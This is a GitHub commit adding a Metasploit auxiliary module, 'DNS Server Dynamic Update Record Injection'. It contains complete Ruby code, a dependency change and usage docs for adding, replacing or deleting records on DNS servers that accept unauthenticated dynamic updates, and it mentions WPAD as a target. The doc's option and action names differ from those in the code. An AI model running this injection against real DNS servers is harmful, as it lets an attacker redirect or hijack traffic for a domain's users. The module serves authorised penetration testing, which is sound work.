Skip to content

Commit 2918b3a

Browse files
committed
Land rapid7#8599, Dynamic DNS updater module
2 parents 6a8d54a + 07e7bae commit 2918b3a

File tree

4 files changed

+204
-0
lines changed

4 files changed

+204
-0
lines changed

Gemfile.lock

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,7 @@ PATH
88
backports
99
bcrypt
1010
bit-struct
11+
dnsruby
1112
filesize
1213
jsobfu
1314
json
@@ -138,6 +139,7 @@ GEM
138139
railties (>= 4, < 5.2)
139140
cucumber-wire (0.0.1)
140141
diff-lcs (1.3)
142+
dnsruby (1.60.1)
141143
docile (1.1.5)
142144
erubis (2.7.0)
143145
factory_girl (4.8.0)
Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
# Dynamic DNS Update Injection
2+
3+
`dyn_dns_update` module allows adding or deleting DNS records
4+
on a DNS server that allows unrestricted dynamic updates.
5+
6+
## Vulnerable Application
7+
8+
Any DNS server that allows dynamic update for none trusted source IPs.
9+
10+
## Verification Steps
11+
12+
1. Start msfconsole
13+
2. Do: ```auxiliary/scanner/dns/dyn_dns_update```
14+
3. Do: ```set DOMAIN [IP]```
15+
4. Do: ```set NS [IP]```
16+
5. Do: ```set INJECTDOMAIN [IP]```
17+
6. Do: ```set INJECTIP [IP]```
18+
7. Do: ```set ACTION ADD```
19+
8. Do: ```run```
20+
21+
## Actions
22+
23+
There are two kind of actions the module can run:
24+
25+
1. **ADD** - Add a new record. [Default]
26+
2. **DEL** - Delete an existing record.
27+
28+
## Targeting Information
29+
30+
WPAD may not work with Windows 2008+ targets due to a DNS block list: https://technet.microsoft.com/en-us/library/cc995261.aspx

metasploit-framework.gemspec

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -114,6 +114,7 @@ Gem::Specification.new do |spec|
114114
#
115115
# Protocol Libraries
116116
#
117+
spec.add_runtime_dependency 'dnsruby'
117118
spec.add_runtime_dependency 'net-ssh'
118119
spec.add_runtime_dependency 'ruby_smb'
119120

Lines changed: 171 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,171 @@
1+
# -*- coding: binary -*-
2+
##
3+
# This module requires Metasploit: http://metasploit.com/download
4+
# Current source: https://github.com/rapid7/metasploit-framework
5+
##
6+
require 'dnsruby'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
10+
def initialize
11+
super(
12+
'Name' => 'DNS Server Dynamic Update Record Injection',
13+
'Description' => %q{
14+
This module allows adding and/or deleting a record to
15+
any remote DNS server that allows unrestricted dynamic updates.},
16+
'Author' => [
17+
'King Sabri <king.sabri[at]gmail.com>',
18+
'Brent Cook <brent_cook[at]rapid7.com>'
19+
],
20+
'References' => [
21+
['URL', 'http://www.tenable.com/plugins/index.php?view=single&id=35372'],
22+
['URL', 'https://github.com/KINGSABRI/CVE-in-Ruby/tree/master/NONE-CVE/DNSInject'],
23+
['URL', 'https://www.christophertruncer.com/dns-modification-dnsinject-nessus-plugin-35372/'],
24+
['URL', 'https://github.com/ChrisTruncer/PenTestScripts/blob/master/DNSInject.py']
25+
],
26+
'License' => MSF_LICENSE,
27+
'Actions' => [
28+
['UPDATE', {'Description' => 'Add or update a record. (default)'}],
29+
['ADD', {'Description' => 'Add a new record. Fail if it already exists.'}],
30+
['DELETE', {'Description' => 'Delete an existing record.'}]
31+
],
32+
'DefaultAction' => 'UPDATE'
33+
)
34+
35+
register_options([
36+
OptString.new('DOMAIN', [true, 'The domain name']),
37+
OptAddress.new('RHOST', [true, 'The vulnerable DNS server IP address']),
38+
OptString.new('HOSTNAME', [true, 'The name record you want to add']),
39+
OptAddress.new('IP', [false, 'The IP you want to assign to the record']),
40+
OptString.new('VALUE', [false, 'The string to be added with TXT or CNAME record']),
41+
OptEnum.new('TYPE', [true, 'The record type you want to add.', 'A', ['A', 'AAAA', 'CNAME', 'TXT']]),
42+
OptAddress.new('CHOST', [false, 'The source address to use for queries and updates'])
43+
])
44+
45+
deregister_options('RPORT')
46+
end
47+
48+
def record_action(type, type_enum, value, action)
49+
# Send the update to the zone's primary master.
50+
domain = datastore['DOMAIN']
51+
fqdn = "#{datastore['HOSTNAME']}.#{domain}"
52+
opts = {nameserver: datastore['RHOST']}
53+
if datastore['CHOST'] && datastore['CHOST'] != ""
54+
if Rex::Socket.is_ipv4?(datastore['CHOST'])
55+
opts[:src_address] = datastore['CHOST']
56+
elsif Rex::Socket.is_ipv6?(datastore['CHOST'])
57+
opts[:src_address6] = datastore['CHOST']
58+
end
59+
end
60+
resolver = Dnsruby::Resolver.new(opts)
61+
update = Dnsruby::Update.new(domain)
62+
updated = false
63+
case
64+
when action == :resolve
65+
begin
66+
answer = resolver.query(fqdn, type)
67+
print_good "Found existing #{type} record for #{fqdn}"
68+
return true
69+
rescue Dnsruby::ResolvError, IOError => e
70+
print_good "Did not find an existing #{type} record for #{fqdn}"
71+
vprint_error "Query failed: #{e.message}"
72+
return false
73+
end
74+
when action == :add
75+
print_status("Sending dynamic DNS add message...")
76+
update.absent("#{fqdn}.", type)
77+
update.add("#{fqdn}.", type_enum, 86400, value)
78+
begin
79+
resolver.send_message(update)
80+
print_good "The record '#{fqdn} => #{value}' has been added!"
81+
updated = true
82+
rescue Dnsruby::ResolvError, IOError => e
83+
print_error "Cannot add #{fqdn}"
84+
vprint_error "The DNS server may not be vulnerable, or there may be a preexisting static record."
85+
vprint_error "Update failed: #{e.message}"
86+
end
87+
when action == :delete
88+
begin
89+
print_status("Sending dynamic DNS delete message...")
90+
update.present(fqdn, type)
91+
update.delete(fqdn, type)
92+
resolver.send_message(update)
93+
print_good("The record '#{fqdn} => #{value}' has been deleted!")
94+
updated = true
95+
rescue Dnsruby::ResolvError, IOError => e
96+
print_error "Cannot delete #{fqdn}"
97+
vprint_error "The DNS server may not be vulnerable, or there may be a preexisting static record."
98+
vprint_error "Update failed: #{e.message}"
99+
end
100+
end
101+
updated
102+
end
103+
104+
def update_record(type:, type_enum:, value:, value_name:)
105+
if value.nil? || value == ""
106+
print_error "Record type #{type} requires the #{value_name} parameter to be specified"
107+
return
108+
end
109+
force = datastore['CHOST'] && datastore['CHOST'] != ""
110+
case
111+
when action.name == 'UPDATE'
112+
if force
113+
record_action(type, type_enum, value, :delete)
114+
record_action(type, type_enum, value, :add)
115+
else
116+
if record_action(type, type_enum, value, :resolve)
117+
if record_action(type, type_enum, value, :delete)
118+
record_action(type, type_enum, value, :add)
119+
end
120+
else
121+
record_action(type, type_enum, value, :add)
122+
end
123+
end
124+
when action.name == 'ADD'
125+
if force
126+
record_action(type, type_enum, value, :add)
127+
else
128+
if record_action(type, type_enum, value, :resolve) == false
129+
record_action(type, type_enum, value, :add)
130+
else
131+
print_error "Record already exists, try DELETE or UPDATE"
132+
end
133+
end
134+
when action.name == 'DELETE'
135+
if force
136+
record_action(type, type_enum, value, :delete)
137+
else
138+
if record_action(type, type_enum, value, :resolve)
139+
record_action(type, type_enum, value, :delete)
140+
else
141+
print_error "Record does not exist, not deleting"
142+
end
143+
end
144+
end
145+
end
146+
147+
def run
148+
ip = datastore['IP']
149+
value = datastore['VALUE']
150+
begin
151+
case
152+
when datastore['TYPE'] == 'A'
153+
update_record(type: 'A', type_enum: Dnsruby::Types.A, value: ip, value_name: 'IP')
154+
when datastore['TYPE'] == 'AAAA'
155+
update_record(type: 'AAAA', type_enum: Dnsruby::Types.AAAA, value: ip, value_name: 'IP')
156+
when datastore['TYPE'] == 'CNAME'
157+
update_record(type: 'CNAME', type_enum: Dnsruby::Types.CNAME, value: value, value_name: 'VALUE')
158+
when datastore['TYPE'] == 'TXT'
159+
update_record(type: 'TXT', type_enum: Dnsruby::Types.TXT, value: value, value_name: 'VALUE')
160+
else
161+
print_error "Invalid Record Type!"
162+
end
163+
rescue ArgumentError => e
164+
print_error(e.message)
165+
rescue Dnsruby::OtherResolvError
166+
print_error("Connection Refused!")
167+
rescue Dnsruby::DecodeError
168+
print_error("Invalid DNS reply, ensure you are connecting to a DNS server")
169+
end
170+
end
171+
end

0 commit comments

Comments
 (0)